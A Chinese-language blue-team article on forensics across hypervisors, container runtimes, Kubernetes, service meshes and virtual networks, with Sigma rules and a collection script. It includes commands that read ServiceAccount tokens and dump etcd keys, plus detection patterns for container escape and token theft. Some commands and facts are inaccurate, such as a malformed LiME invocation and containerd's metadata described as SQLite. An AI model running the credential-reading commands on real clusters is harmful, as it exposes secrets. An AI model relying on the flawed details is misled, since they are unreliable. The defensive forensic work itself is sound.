ARTICLE / 安全

虚拟化与云原生取证深度分析

虚拟化与云原生技术已从边缘创新演变为现代IT基础设施的核心支柱。据 Gartner 2025 年度报告,全球超过 85% 的企业应用运行在容器化或虚拟化环境中,Kubernetes 成为云原生编排的事实标准。然而,这种技术范式的转变也从根本上改变了安全取证的边界和方法论——取证分析人员面对的不再是单一主机的磁盘镜像和内存转储,而是一个由 Hypervisor 层、容器运行时、编排系统、服务网格和虚拟化网络构成的多层复合攻击面。

传统取证方法论在虚拟化与云原生环境中面临系统性挑战:虚拟机快照的即时性取证与实时逃逸痕迹的矛盾,容器短暂生命周期与持久化取证需求的冲突,Kubernetes 分布式架构下证据碎片化问题,服务网格 mTLS 加密流量的解密与分析困境,以及 Overlay 网络多层封装带来的流量可见性缺失。攻击者利用这些复杂性,可以实现跨层攻击——从容器逃逸到 Hypervisor 层,或通过编排系统 API 滥用实现横向移动,而每一步都可能在不同的技术层留下不同格式的取证痕迹。

本文从蓝队取证实战视角出发,系统性地覆盖虚拟化与云原生环境的全链路取证分析——从 KVM/Xen/Hyper-V Hypervisor 层攻击检测到 containerd/CRI-O 容器运行时日志深度分析,从 Kubernetes API Server 审计日志解析到 etcd 数据恢复,从 Istio/Envoy 服务网格流量镜像到 OVS/OVN 虚拟交换机流表取证,结合 TeamTNT 云原生挖矿和 Hildegard 恶意容器等真实案例还原完整攻击链,并提供 Sigma 规则和 Bash/Python 自动化检测脚本。


0x01 技术基础与取证概述

虚拟化架构与 Hypervisor 分类

虚拟化技术通过 Hypervisor(虚拟机监控器)在物理硬件与虚拟机之间建立抽象层,实现硬件资源的多路复用。根据 Hypervisor 与宿主机操作系统的关系,虚拟化架构分为 Type-1(裸金属)和 Type-2(宿主型)两类,不同类型的取证策略差异显著。

架构类型Hypervisor 代表部署模型取证特征取证难点
Type-1 裸金属VMware ESXi, Xen, KVM直接运行在物理硬件上Hypervisor 占用独立分区,VM 镜像以文件形式存储Hypervisor 自身的日志和配置取证
Type-2 宿主型VirtualBox, VMware Workstation运行在宿主 OS 之上VM 文件存储在宿主文件系统中宿主 OS 与 VM 取证的交叉分析
Type-0 云层AWS Nitro, Azure Hyper-V云服务商深度定制多租户共享底层,取证依赖云平台 API跨租户取证的法律和技术障碍
嵌套虚拟化QEMU-KVM 嵌套VM 中运行 VM增加取证层次深度嵌套层级越多,取证复杂度指数增长

KVM/Xen/Hyper-V 架构差异

三大主流 Hypervisor 在架构设计上存在本质差异,这些差异直接影响取证方法和可获取的证据类型:

维度KVMXenHyper-V
实现方式内核模块(/dev/kvm)独立微内核 HypervisorWindows 内核驱动
特权域无独立 Dom0,利用 Linux 内核Dom0(管理域) + DomU(客户域)Root Partition + Child Partition
虚拟磁盘格式qcow2, raw, vmdkvhd, vhdx, rawvhdx, vhd
内存管理EPT(扩展页表) + ballooning内存气球 + 内存共享VMBus + Dynamic Memory
网络架构OVS, bridge, macvtapvSwitch, OVSHyper-V Virtual Switch
快照机制QCOW2 快照 + LVM 快照xl save / libxl 快照VSS 快照 + Checkpoints
日志位置/var/log/libvirt/, qemu 日志/var/log/xen/, xl 日志Hyper-V Event Log, VMCx 日志
取证工具Libvirt API, virsh, qemu-imgxl, xenstore, xen-hypervisor-logsHyper-V PowerShell, VMConnect

KVM 取证要点:KVM 本质上是 Linux 内核的一个模块,这意味着取证分析人员可以利用全部 Linux 取证工具链来分析 Hypervisor 层。关键证据源包括 /dev/kvm 设备节点的访问记录、QEMU 进程的命令行参数(包含 VM 配置)、libvirt XML 配置文件(/etc/libvirt/qemu/)、QCOW2 镜像文件的快照链以及 /var/log/libvirt/qemu/ 下的 QEMU 日志。

Xen 取证要点:Xen 的特权域 Dom0 拥有对所有 DomU 的管理权限,是取证的关键切入点。xenstore 数据库存储了所有 VM 的配置和运行时信息,xl 命令的输出提供了 VM 状态的实时快照。Xen 的 libxl 库日志记录了 VM 的创建、销毁、迁移等生命周期事件。

Hyper-V 取证要点:Hyper-V 深度集成于 Windows 生态系统,其事件日志通过 Windows Event Log 系统集中管理。关键事件提供者包括 Microsoft-Windows-Hyper-V-* 系列,VM 配置存储在 VMCX 二进制文件中,需要通过 PowerShell Get-VMGet-VMHardDiskDrive 等 cmdlet 提取。

containerd/CRI-O 容器运行时模型

容器技术是云原生的基础构建块,而容器运行时是其核心执行引擎。当前主流的容器运行时分为高层运行时(High-Level Runtime)和低层运行时(Low-Level Runtime)两个层次:

组件层次containerdCRI-O
定位通用容器运行时Kubernetes 专用轻量运行时
CRI 实现通过 cri plugin 实现原生 CRI 实现
低层运行时runc(默认), kata-containers, gVisorrunc(默认), kata-containers, crun
镜像存储/var/lib/containerd//var/lib/containers/storage/
容器状态containerd-shim 管理conmon 监控进程
日志路径/var/log/pods/, journalctl/var/log/pods/, journalctl
配置文件/etc/containerd/config.toml/etc/containers/storage.conf, /etc/crio/crio.conf
OCI 兼容性完全兼容完全兼容
取证关键文件containerd.db(SQLite), state.jsoncontainer 存储, cgroup 统计

containerd 和 CRI-O 都遵循 OCI(Open Container Initiative)标准,这意味着它们的镜像格式和运行时规范是一致的。但二者的取证分析路径有显著差异:containerd 使用 SQLite 数据库(containerd.db)存储元数据,而 CRI-O 依赖文件系统状态和 Kubernetes API。

云原生取证与传统取证的核心差异

差异维度传统取证云原生/虚拟化取证
证据载体磁盘镜像、内存转储磁盘镜像 + 容器层 + 快照 + API 日志 + 网络流
生命周期静态证据,可持久保存动态证据,容器短暂生命周期
证据位置单一主机或有限范围分布式多节点,跨集群
时间精度秒级时间线毫秒级(API 审计日志)+ 纳秒级(网络流)
加密处理磁盘加密解密mTLS + etcd 加密 + 传输层加密
工具依赖Volatility, Autopsy, FTKcontainerd CLI, kubectl, etcdctl, tcpdump
取证范围主机 → 网络 → 应用Hypervisor → 容器 → 编排 → 网络 → 应用
法律挑战单一司法管辖区跨区域、跨云服务商、多租户

云原生取证工具链全景

工具类别功能描述适用场景
cni-bpf-slice网络取证从 eBPF cgroup 获取容器网络活动容器网络流量关联
ctr/nerdctlcontainerd 取证containerd 的命令行客户端容器状态检查、镜像管理
crictlCRI 取证CRI 兼容的命令行工具Kubernetes 容器运行时检查
etcdctl数据存储取证etcd 数据库命令行工具etcd 数据导出与查询
kubectl编排取证Kubernetes 集群管理命令行Pod 日志、事件、审计查询
kube-hunter安全评估Kubernetes 渗透测试工具攻击面发现
strace/ltrace系统调用追踪追踪进程系统调用和库调用容器逃逸痕迹分析
Volatility内存取证内存转储分析框架VM 内存取证、容器进程分析
scapy网络取证交互式数据包处理库Overlay 网络数据包解析
kube-audit-rules审计检测Kubernetes 审计日志 Sigma 规则API 滥用检测

0x02 Hypervisor 层攻击与取证

VM 逃逸攻击面分析

VM 逃逸(VM Escape)是虚拟化安全中最严重的攻击类型之一,攻击者从客户虚拟机突破 Hypervisor 边界,获得宿主机或 Hypervisor 层的控制权。VM 逃逸的攻击面覆盖硬件虚拟化接口、I/O 设备模拟、虚拟化管理 API 等多个维度:

攻击面攻击技术典型 CVEMITRE ATT&CK取证特征
虚拟设备驱动设备模拟器漏洞利用CVE-2020-3962 (VMware)T1611 Escape to HostQEMU/VMM 进程异常崩溃日志
内存管理EPT/NPT 页表操作CVE-2017-5715 (Spectre)T1055 Process InjectionHypervisor 内存异常访问模式
虚拟化 API管理接口越权CVE-2021-21974 (VMware)T1190 Exploit Public-Facing AppAPI 访问日志异常
共享文件夹HGFS/Shared FoldersCVE-2020-3947 (VMware)T1005 Data from Local System共享目录文件操作异常
虚拟网络虚拟交换机漏洞CVE-2020-3967 (VMware)T1557 Adversary-in-the-Middle虚拟网络流量异常
GPU 虚拟化vGPU/DRM 接口CVE-2023-31284 (NVIDIA)T1068 Exploitation for Privilege EscalationGPU 驱动加载异常
热迁移迁移协议漏洞CVE-2024-22252 (VMware)T1498 Network DoS迁移流量异常

虚拟机快照取证

虚拟机快照是虚拟化取证的核心证据类型。与传统的磁盘镜像不同,快照包含 VM 在特定时间点的完整状态——包括内存内容、磁盘状态和设备配置。这使得快照成为"冻结现场"的理想方式。

qemu-img info /var/lib/libvirt/images/vm-disk.qcow2
qemu-img snapshot -l /var/lib/libvirt/images/vm-disk.qcow2
qemu-img snapshot -a snapshot-name /var/lib/libvirt/images/vm-disk.qcow2
qemu-img convert -f qcow2 -O raw /var/lib/libvirt/images/vm-disk.qcow2 /evidence/vm-raw.dd
xl list -l
xl save <domid> /evidence/vm-state.sav
xl dump-core <domid> /evidence/vm-core.dump
Get-VM -Name "TargetVM" | Checkpoint-VM -SnapshotName "ForensicSnapshot_$(Get-Date -Format 'yyyyMMdd_HHmmss')"
Get-VMSnapshot -VMName "TargetVM" | Export-VMSnapshot -Path "E:\Evidence\"
快照类型数据内容取证价值局限性
磁盘快照虚拟磁盘在特定时间点的状态文件系统取证、恶意软件分析不包含内存状态
内存快照VM 完整内存内容运行中进程、网络连接、加密密钥文件可能被清除
检查点(Checkpoint)磁盘 + 内存 + 设备状态的完整组合最全面的取证证据文件体积大,分析耗时
差异快照(Delta)自上次快照以来的变化量增量分析、变更追踪需要完整快照链

Hypervisor 内存取证

Hypervisor 内存取证面临的核心挑战是区分三层内存空间:物理主机内存、Hypervisor 自身内存和各虚拟机内存。通过 /dev/mem(在启用 CONFIG_STRICT_DEVMEM 的内核中受限)或 /proc/kcore 可以访问物理内存,但直接读取 Hypervisor 管理的 EPT/NPT 页表需要更精细的方法。

sudo LiME/src/liME 64 /dev/lime format=lime -o /evidence/host-memory.lime
sudo volatility3 -f /evidence/host-memory.lime --profile LinuxProfile linux.pslist
sudo volatility3 -f /evidence/host-memory.lime --profile LinuxProfile linux.bash
sudo volatility3 -f /evidence/host-memory.lime --profile LinuxProfile linux.check_syscall
内存层次证据类型检测方法攻击者规避手段
VM 进程内存QEMU/VMM 进程的内存映射/proc//maps, pmap进程注入、内存编码
EPT 页表虚拟地址到物理地址的映射硬件辅助的 EPT WalkEPT 修改、影子页表
Hypervisor 内存VMM 自身的代码和数据Hypervisor 调试接口Hypervisor 级 Rootkit
共享内存区域VM 与宿主机间的数据交换VIRTIO 共享环分析恶意 VIRTIO 驱动

虚拟磁盘取证分析

虚拟磁盘格式的取证分析是虚拟化取证的基础工作。不同格式的元数据结构和快照管理方式直接影响取证工具的选择和分析策略。

磁盘格式开发者元数据结构快照支持取证工具
QCOW2QEMU 项目QCOW Header + L1/L2 Table内置快照链qemu-img, libguestfs, guestfish
VMDKVMwareDescriptor + ExtentCBT (Changed Block Tracking)vmdk-tools, libvmdk
VHDXMicrosoftVHDX Header + Region TableReFS 块克隆libvhdx, Hyper-V PowerShell
VDIOracleVDI Header + Block Allocation快照支持VBoxManage, libvdi
qemu-img info -f qcow2 /evidence/vm-disk.qcow2
qemu-img compare -f qcow2 -f qcow2 /evidence/snap1.qcow2 /evidence/snap2.qcow2
guestfish --rw -a /evidence/vm-disk.qcow2 -i
> list-filesystems
> mount /dev/sda1 /
> ls /etc/
> cat /etc/passwd
> download /var/log/syslog /evidence/syslog.txt
sudo losetup -fP /evidence/vm-disk.raw
sudo kpartx -av /dev/loop0
sudo mount /dev/mapper/loop0p1 /mnt/evidence

0x03 容器运行时取证

containerd 日志分析

containerd 作为 Kubernetes 默认的 CRI 运行时,其日志系统是容器取证的第一手证据源。containerd 的日志分为三个层次:containerd 守护进程日志、容器运行时日志(通过 CRI 流式传输)和 shim 进程日志。

journalctl -u containerd --since "2026-07-01 00:00:00" --until "2026-07-10 23:59:59" > /evidence/containerd.log
sudo ctr -n k8s.io containers info <container-id>
sudo ctr -n k8s.io tasks list
sudo ctr -n k8s.io content ls
sudo ctr -n k8s.io snapshots info <snapshot-id>
ls -la /var/log/pods/<namespace>_<pod-name>_<pod-uid>/
cat /var/log/pods/<namespace>_<pod-name>_<pod-uid>/<container-name>/0.log
cat /var/log/pods/<namespace>_<pod-name>_<pod-uid>/<container-name>/0.log.gz
日志来源日志路径/命令关键信息取证用途
containerd 守护进程journalctl -u containerd容器生命周期事件、镜像拉取记录容器创建/销毁时间线
CRI 流式日志/var/log/pods/stdout/stderr 输出应用层行为分析
shim 日志/var/log/containerd-shim/shim 进程错误和状态运行时异常检测
内核 dmesgdmesg | grep containerdcgroup 操作、namespace 创建容器逃逸痕迹

镜像层溯源与供应链检测

容器镜像的分层结构(Layered File System)是 Docker/OCI 镜像的核心设计。每一层对应一个只读的文件系统变更,通过 overlayfs(或 AUFS)叠加为最终的容器文件系统。这种分层结构为取证分析提供了独特的层间溯源能力:

crane manifest <image:tag>
crane config <image:tag> | jq .
crane layers <image:tag>
crane export <image:tag> /evidence/image-rootfs.tar
docker history <image:tag> --no-trunc
docker inspect <image:tag> | jq '.[0].RootFS.Layers'
docker save <image:tag> -o /evidence/image.tar
镜像层特征检测方法安全风险MITRE ATT&CK
可疑 ENTRYPOINTdocker history, crane config恶意启动命令执行T1059 Command and Scripting Interpreter
异常层大小crane layers, docker history隐藏恶意二进制T1027 Obfuscated Files or Information
篡改的摘要content-addressable hash 验证镜像替换攻击T1553 Subvert Trust Controls
已知漏洞层Trivy, Grype 扫描CVE 利用T1190 Exploit Public-Facing App
嵌入式凭据镜像文件系统中的 .env, config凭据泄露T1552 Unsecured Credentials
混淆的脚本base64/gzip 编码的命令恶意逻辑隐藏T1027 Obfuscated Files or Information

容器逃逸痕迹识别

容器逃逸是云原生安全中最严重的威胁之一,攻击者从容器内部突破隔离边界获取宿主机或内核的访问权限。逃逸发生后会在多个层次留下可检测的痕迹:

逃逸技术攻击路径取证痕迹检测工具
内核漏洞利用CVE-2022-0185 等内核异常日志、异常系统调用dmesg, auditd, kauditd
cgroup 逃逸cgroup release_agent 写入cgroup 文件系统异常写入Falco, Tetragon
特权容器滥用–privileged + mount/proc/sysrq-trigger, sysctl 修改CIS Benchmark 审计
逃逸到宿主机命名空间nsenter/unshare 滥用namespace 操作日志strace, bpftrace
供应链投毒恶意 init 进程容器入口点异常镜像签名验证
设备映射绕过/dev/sda, /dev/mem 访问设备节点异常访问SELinux/AppArmor 日志
cat /proc/1/cgroup
cat /proc/1/status | grep -i cap
ls -la /proc/1/ns/
mount | grep -E "(cgroup|overlay)"
cat /proc/self/status | grep -i seccomp
ls -la /dev/
stat /proc/sysrq-trigger

容器文件系统取证

容器的临时文件系统(ephemeral filesystem)在容器销毁后通常立即消失,这对取证构成了根本性挑战。以下策略可以在容器运行期间或销毁后捕获文件系统证据:

取证策略实施方法证据完整性适用场景
容器导出docker export / ctr export高(完整文件系统快照)容器仍在运行时
/proc 文件系统/proc//root, /proc//maps中(运行时状态)进程内存分析
volume 持久化绑定挂载目录高(持久化存储)配置了 volume 的容器
cgroup 限制文件/sys/fs/cgroup/低(资源限制元数据)资源使用分析
Overlayfs 层/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/中(各层 diff)深度文件分析

0x04 Kubernetes 编排层取证

API Server 审计日志深度分析

Kubernetes API Server 是集群的中央控制平面,所有对集群状态的变更操作都必须经过 API Server。审计日志(Audit Log)是 API Server 取证的核心证据源,记录了每一次 API 请求的完整上下文。

apiVersion: audit.k8s.io/v1
kind: Policy
rules:
  - level: RequestResponse
    resources:
      - group: ""
        resources: ["pods", "secrets", "serviceaccounts"]
    users: ["system:serviceaccount:default:default"]
  - level: Metadata
    resources:
      - group: "apps"
        resources: ["deployments", "replicasets"]
  - level: None
    users: ["system:kube-proxy"]
    verbs: ["watch"]
审计级别记录内容性能影响适用场景
None不记录低敏感度操作
Metadata请求元数据(user, timestamp, verb)常规审计
RequestMetadata + 请求体敏感操作审计
RequestResponseMetadata + 请求体 + 响应体安全事件取证
cat /var/log/kubernetes/audit/audit.log | jq 'select(.user.username == "system:anonymous")'
cat /var/log/kubernetes/audit/audit.log | jq 'select(.verb == "create" and .objectRef.resource == "secrets")'
cat /var/log/kubernetes/audit/audit.log | jq 'select(.responseStatus.code == 403)'
审计字段取证含义检测场景
user.username操作者身份ServiceAccount 滥用、匿名访问
userAgent客户端类型kubectl 版本识别、自动化工具检测
objectRef.resource目标资源类型Secret 访问、RBAC 变更
objectRef.namespace目标命名空间跨命名空间越权
verb操作类型创建、删除、更新、列出
sourceIPs请求来源 IP外部攻击源追踪
responseStatus.code响应状态码未授权访问尝试(403)、未找到(404)
stageTimestamp事件发生时间精确时间线构建

etcd 数据恢复与取证

etcd 是 Kubernetes 的核心数据存储,保存了整个集群的状态数据——包括所有资源对象、配置、Secret 和证书。etcd 数据的取证分析对还原攻击全貌至关重要:

ETCDCTL_API=3 etcdctl \
  --endpoints=https://127.0.0.1:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  snapshot save /evidence/etcd-snapshot.db
ETCDCTL_API=3 etcdctl snapshot status /evidence/etcd-snapshot.db --write-table
ETCDCTL_API=3 etcdctl snapshot restore /evidence/etcd-snapshot.db --data-dir=/evidence/etcd-restored
ETCDCTL_API=3 etcdctl \
  --endpoints=https://127.0.0.1:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  get / --prefix --keys-only | head -100
etcd Key 路径数据内容取证价值敏感度
/registry/secrets/所有 Secret 对象凭据、Token、证书极高
/registry/serviceaccounts/ServiceAccount 定义权限配置、Token 挂载
/registry/clusterrolebindings/ClusterRoleBinding集群级权限分配
/registry/pods/Pod 定义容器配置、挂载卷
/registry/configmaps/ConfigMap 数据应用配置、环境变量
/registry/nodes/Node 状态节点信息、标签

RBAC 滥用检测

Kubernetes RBAC(Role-Based Access Control)是集群权限管理的核心机制,也是攻击者实现权限提升的关键目标。RBAC 滥用的取证分析需要关注以下维度:

RBAC 滥用类型检测方法取证证据MITRE ATT&CK
过度权限绑定ClusterRoleBinding 审计允许 get secrets 的自定义角色T1078 Valid Accounts
ServiceAccount 令牌泄露Pod 中 AutomountServiceAccountToken 检查挂载的 Token 文件T1528 Steal Application Access Token
权限提升create/escalate 权限审计自定义 ClusterRole 创建记录T1098 Account Manipulation
匿名访问–anonymous-auth 配置检查匿名用户的 API 调用日志T1133 External Remote Services
默认 SA 滥用default SA 权限审查default 命名空间的 Secret 访问T1078 Valid Accounts
kubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.name == "system:anonymous")'
kubectl get clusterrolebindings -o json | jq '.items[] | select(.roleRef.name == "cluster-admin")'
kubectl auth can-i --list --as=system:serviceaccount:default:default -n default

ServiceAccount 令牌滥用

Kubernetes ServiceAccount 为 Pod 提供了与 API Server 交互的身份凭证。攻击者通过窃取或生成 ServiceAccount Token,可以在集群内实现横向移动和权限提升:

kubectl exec -it <pod-name> -- cat /var/run/secrets/kubernetes.io/serviceaccount/token
kubectl exec -it <pod-name> -- cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
令牌类型生存期存储位置取证方法
Legacy Token永不过期Secret 中的 token 字段kubectl get secret -n
Bound ServiceAccount Token1小时(默认)Volume 挂载kubectl describe pod 检查
Pod Identity TokenPod 生命周期内元数据服务TokenRequest API 调用日志
Projected Token1小时(默认)Projected VolumePod spec 中的 projected 配置

0x05 服务网格与 Envoy 取证

Istio/Envoy 访问日志分析

服务网格(Service Mesh)通过 Sidecar 代理模式在每个 Pod 中注入 Envoy 代理,实现服务间通信的透明管理。Envoy 的访问日志是服务网格取证的关键数据源,记录了所有经过代理的 HTTP/gRPC 请求:

kubectl logs <pod-name> -c istio-proxy --tail=10000 > /evidence/envoy-access.log
{
  "protocol": "HTTP/1.1",
  "upstream_host": "10.244.1.8:8080",
  "request_method": "POST",
  "request_uri": "/api/v1/admin/exec",
  "response_code": 200,
  "duration_ms": 1250,
  "request_headers": {
    "x-forwarded-client-cert": "By=spiffe://cluster.local/ns/default/sa/malicious-sa",
    "x-request-id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890"
  },
  "trace_id": "abc123def456"
}
日志字段取证含义检测场景
upstream_host目标服务地址横向移动路径追踪
request_uri请求路径API 滥用、敏感端点探测
response_code响应状态码攻击成功/失败判定
duration_ms请求耗时时序异常、DoS 检测
x-forwarded-client-cert源 SPIFFE 身份mTLS 身份伪造检测
trace_id分布式追踪 ID全链路攻击路径还原

mTLS 证书链分析

Istio 的 mTLS(Mutual TLS)机制为服务间通信提供了加密和身份验证。证书链分析是服务网格取证的重要环节:

kubectl get secret -n istio-system istio-ca-secret -o jsonpath='{.data.ca-cert\.pem}' | base64 -d > /evidence/istio-ca.crt
kubectl exec -it <pod-name> -c istio-proxy -- openssl s_client -connect <service>:8090 -showcerts
证书字段取证含义异常检测
Subject/SPIFFE ID服务身份标识身份伪造、跨命名空间冒充
Issuer签发 CA非 Istio CA 签发的证书
Not Before/After有效期过期证书、异常有效期
Serial Number证书序列号证书重用、克隆检测
Key Usage密钥用途证书用途越权
SAN主体替代名称多身份证书滥用

流量镜像检测与 Wasm 插件取证

Istio 支持流量镜像(Traffic Mirroring/Mirroring)将生产流量复制到测试服务,这可能被攻击者滥用为隐蔽的数据窃取通道。同时,Envoy Wasm 插件扩展机制可能被用于植入恶意逻辑:

检测维度检测方法安全风险MITRE ATT&CK
流量镜像配置VirtualService 检查隐蔽数据外泄T1029 Scheduled Transfer
异常路由规则Envoy Route 配置分析流量劫持T1574 Hijack Execution Flow
Wasm 插件加载Envoy Filter 配置审计恶意请求拦截/修改T1059 Command and Scripting Interpreter
自定义 Wasm 二进制Wasm 模块 hash 验证供应链攻击T1195 Supply Chain Compromise
Ext Authz 配置External Authorization Filter鉴权绕过T1548 Abuse Elevation Mechanism
kubectl get virtualservice -A -o json | jq '.items[] | select(.spec.http[].mirror != null)'
kubectl get envoyfilter -A -o json | jq '.items[] | select(.spec.configPatches[].patch.value["@type"] | contains("Wasm"))'
kubectl logs -n istio-system <istiod-pod> | grep -i "wasm"

0x06 虚拟化网络取证

Overlay 网络流量分析

云原生环境中的 Overlay 网络通过封装技术(VXLAN、GRE、WireGuard)在底层物理网络之上构建逻辑网络,实现了容器间的跨主机通信。Overlay 网络的多层封装给流量分析带来了独特挑战:

Overlay 类型封装协议封装开销取证特征常用场景
VXLANUDP/478950 字节VNI 标识租户/命名空间Calico, Flannel
GREIP Protocol 4724 字节Key 标识隧道传统 VPN 隧道
IP-in-IPIP Protocol 420 字节最小开销Calico BGP 模式
WireGuardUDP/5182060 字节加密流量Cilium WireGuard
GeneveUDP/6081可变长度TLV 扩展字段NSX-T, OVN
tcpdump -i eth0 -w /evidence/vxlan-traffic.pcap "udp port 4789"
tcpdump -i eth0 -w /evidence/geneve-traffic.pcap "udp port 6081"
sudo scapy -H
>>> from scapy.all import *
>>> pkt = rdpcap("/evidence/vxlan-traffic.pcap")
>>> for p in pkt:
...     if VXLAN in p:
...         inner = p[VXLAN].payload
...         print(f"VNI={p[VXLAN].vni} Inner={inner.summary()}")
封装层次协议字段取证分析点检测工具
外层以太网Src/Dst MAC物理主机地址tcpdump
外层 IPSrc/Dst IP宿主机 IP 映射tcpdump
外层 UDPSrc/Dst Port封装协议识别tshark
VXLAN/Geneve 头VNI/Network ID租户/命名空间隔离scapy, tshark
内层以太网Src/Dst MAC容器 MAC 地址tshark -Y
内层 IPSrc/Dst IP容器 IP 地址tcpdump -f
内层 TCP/UDPSrc/Dst Port, Flags应用层协议和行为Wireshark

OVS/OVN 流表取证

Open vSwitch(OVS)是虚拟化环境中最常用的虚拟交换机,OVN(Open Virtual Network)是其上层的网络虚拟化解决方案。OVS 流表是网络策略执行的核心数据结构,也是网络取证的关键证据源:

ovs-ofctl dump-flows br-int
ovs-ofctl dump-flows br-int -O OpenFlow13
ovs-ofctl dump-aggregate br-int
ovs-vsctl show
ovs-vsctl list port
ovs-vsctl list interface
ovs-vsctl list mirror
流表字段取证含义检测场景
priority规则优先级高优先级规则可能存在策略绕过
in_port入端口流量来源端口
dl_src/dl_dstMAC 地址二层地址欺骗
nw_src/nw_dstIP 地址三层过滤规则
tp_src/tp_dst端口号四层过滤规则
actions动作转发、丢弃、修改行为
cookie规则标识区分 OpenStack/K8s 规则
table流表编号多级流表处理链路
ovs-ofctl dump-flows br-int | grep "cookie=0x0"
ovs-ofctl dump-flows br-int | grep "actions=normal"
ovs-ofctl dump-flows br-int | grep -E "(priority=0|table=0)"

VPN 隧道检测与虚拟交换机日志

检测维度检测方法证据类型工具
加密隧道识别协议指纹 + 端口匹配流量元数据Zeek, Suricata
隧道端点映射外层 IP 提取网络拓扑tcpdump, tshark
隧道内流量分析解封装后分析应用层协议scapy, Wireshark
虚拟交换机配置OVSDB 查询网络配置ovs-vsctl
端口镜像配置Mirror 规则检查流量复制ovs-vsctl list mirror

0x07 证据强度分层与案例关联

在虚拟化与云原生取证分析中,不同来源的证据具有不同的可信度和证明力。建立系统化的证据强度分层框架,有助于分析人员在复杂的多层环境中准确判断攻击事件的真实性和严重程度。

三级证据分类体系

等级标识定义典型证据类型采信标准
确认恶意🔴经过多重验证的恶意行为证据IOC 匹配确认、恶意代码反编译验证、已知 TTP 精确匹配需 ≥2 独立数据源交叉验证
高度可疑🟡单一数据源确认的异常行为异常 API 调用、非授权访问尝试、可疑进程链需进一步调查确认
需要关注🟢需要跟踪但不足以判定为恶意的行为配置偏差、版本过低、弱密码持续监控 + 定期复审

跨层证据关联矩阵

攻击阶段Hypervisor 层证据容器层证据编排层证据网络层证据证据关联规则
初始访问VM 异常登录日志镜像拉取异常API Server 匿名访问外部连接异常时间窗口 ≤ 5 分钟
执行QEMU 进程异常容器内可疑命令Pod Exec 操作C2 通信流命令字符串匹配
持久化VM 快照篡改恶意 DaemonSetRBAC 变更DNS 隧道配置变更时间相关
权限提升Hypervisor API 调用特权容器创建ClusterRoleBinding端口扫描权限升级链路
横向移动VM 迁移事件Pod 间异常连接ServiceAccount Token 使用Overlay 网络异常跨 Pod/IP 关联
数据窃取虚拟磁盘导出Volume 挂载异常Secret 访问大数据外传数据量 + 方向关联
清除痕迹日志删除容器销毁审计策略修改日志覆盖时间倒序关联

证据时效性评估

证据类型保留期限降级速度优先采集等级
API Server 审计日志取决于日志策略(默认可轮转)P0(立即)
容器 stdout/stderr容器销毁即丢失极高P0(立即)
etcd 数据需主动备份P0(立即)
虚拟机快照手动创建后持久保存P1(尽快)
Overlay 网络流量需镜像捕获极高P0(立即)
OVS 流表随规则变更消失P1(尽快)
containerd.db随 containerd 重启可能丢失P1(尽快)
内核 dmesg环形缓冲区覆盖P0(立即)
虚拟磁盘快照持久保存P2(按需)

0x08 自动化检测与狩猎

Sigma 规则:容器逃逸检测

title: Container Escape - Suspicious cgroup Release Agent Write
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects attempts to write to cgroup release_agent which is a common container escape technique
references:
  - https://attack.mitre.org/techniques/T1611/
author: Blue Team Forensics
date: 2026/07/10
tags:
  - attack.privilege_escalation
  - attack.t1611
logsource:
  product: linux
  service: syscall
detection:
  selection_write:
    syscall: 'write'
    path|contains: 'release_agent'
  selection_execve:
    syscall: 'execve'
    comm|contains: 'sh'
  filter_mainstream:
    comm|startswith: 'systemd-'
  condition: selection_write or (selection_execve and not filter_mainstream)
level: critical
falsepositives:
  - Legitimate cgroup management tools
title: Suspicious ServiceAccount Token Access in Container
id: b2c3d4e5-f6a7-8901-bcde-f12345678901
status: experimental
description: Detects direct access to Kubernetes ServiceAccount token from within a container
references:
  - https://attack.mitre.org/techniques/T1528/
author: Blue Team Forensics
date: 2026/07/10
tags:
  - attack.credential_access
  - attack.t1528
logsource:
  product: linux
  service: syscall
detection:
  selection:
    syscall: 'read'
    path|contains: '/var/run/secrets/kubernetes.io/serviceaccount/token'
  condition: selection
level: high
falsepositives:
  - Kubernetes SDK legitimate access
  - Service mesh sidecar proxy

Sigma 规则:Kubernetes API 滥用检测

title: Kubernetes Anonymous Authentication Success
id: c3d4e5f6-a7b8-9012-cdef-123456789012
status: experimental
description: Detects successful API calls using anonymous authentication
references:
  - https://kubernetes.io/docs/reference/access-authn-authz/authentication/
author: Blue Team Forensics
date: 2026/07/10
tags:
  - attack.initial_access
  - attack.t1133
logsource:
  product: kubernetes
  service: audit
detection:
  selection:
    user.username: 'system:anonymous'
    responseStatus.code: 200
  condition: selection
level: medium
falsepositives:
  - Legitimate unauthenticated health checks

Bash 自动化脚本:容器环境快速取证

#!/bin/bash
EVIDENCE_DIR="/evidence/$(date +%Y%m%d_%H%M%S)"
mkdir -p "$EVIDENCE_DIR"/{containerd,kubernetes,network,system}

echo "=== Containerd State ===" > "$EVIDENCE_DIR/containerd/state.txt"
ctr -n k8s.io containers list >> "$EVIDENCE_DIR/containerd/state.txt" 2>&1
ctr -n k8s.io tasks list >> "$EVIDENCE_DIR/containerd/state.txt" 2>&1

echo "=== Containerd DB ==="
cp /var/lib/containerd/io.containerd.metadata.v1.bolt/meta.db "$EVIDENCE_DIR/containerd/" 2>/dev/null

echo "=== Kubernetes Pods ===" > "$EVIDENCE_DIR/kubernetes/pods.txt"
kubectl get pods -A -o wide >> "$EVIDENCE_DIR/kubernetes/pods.txt" 2>&1

echo "=== Pod Executions ===" > "$EVIDENCE_DIR/kubernetes/exec.txt"
cat /var/log/kubernetes/audit/audit.log 2>/dev/null | \
  jq -r 'select(.verb == "create" and .objectRef.resource == "pods/exec") | .user.username + " " + .objectRef.namespace + "/" + .objectRef.name + " " + .stageTimestamp' \
  >> "$EVIDENCE_DIR/kubernetes/exec.txt" 2>&1

echo "=== Network Connections ===" > "$EVIDENCE_DIR/network/connections.txt"
ss -tlnp >> "$EVIDENCE_DIR/network/connections.txt" 2>&1
ss -unlp >> "$EVIDENCE_DIR/network/connections.txt" 2>&1

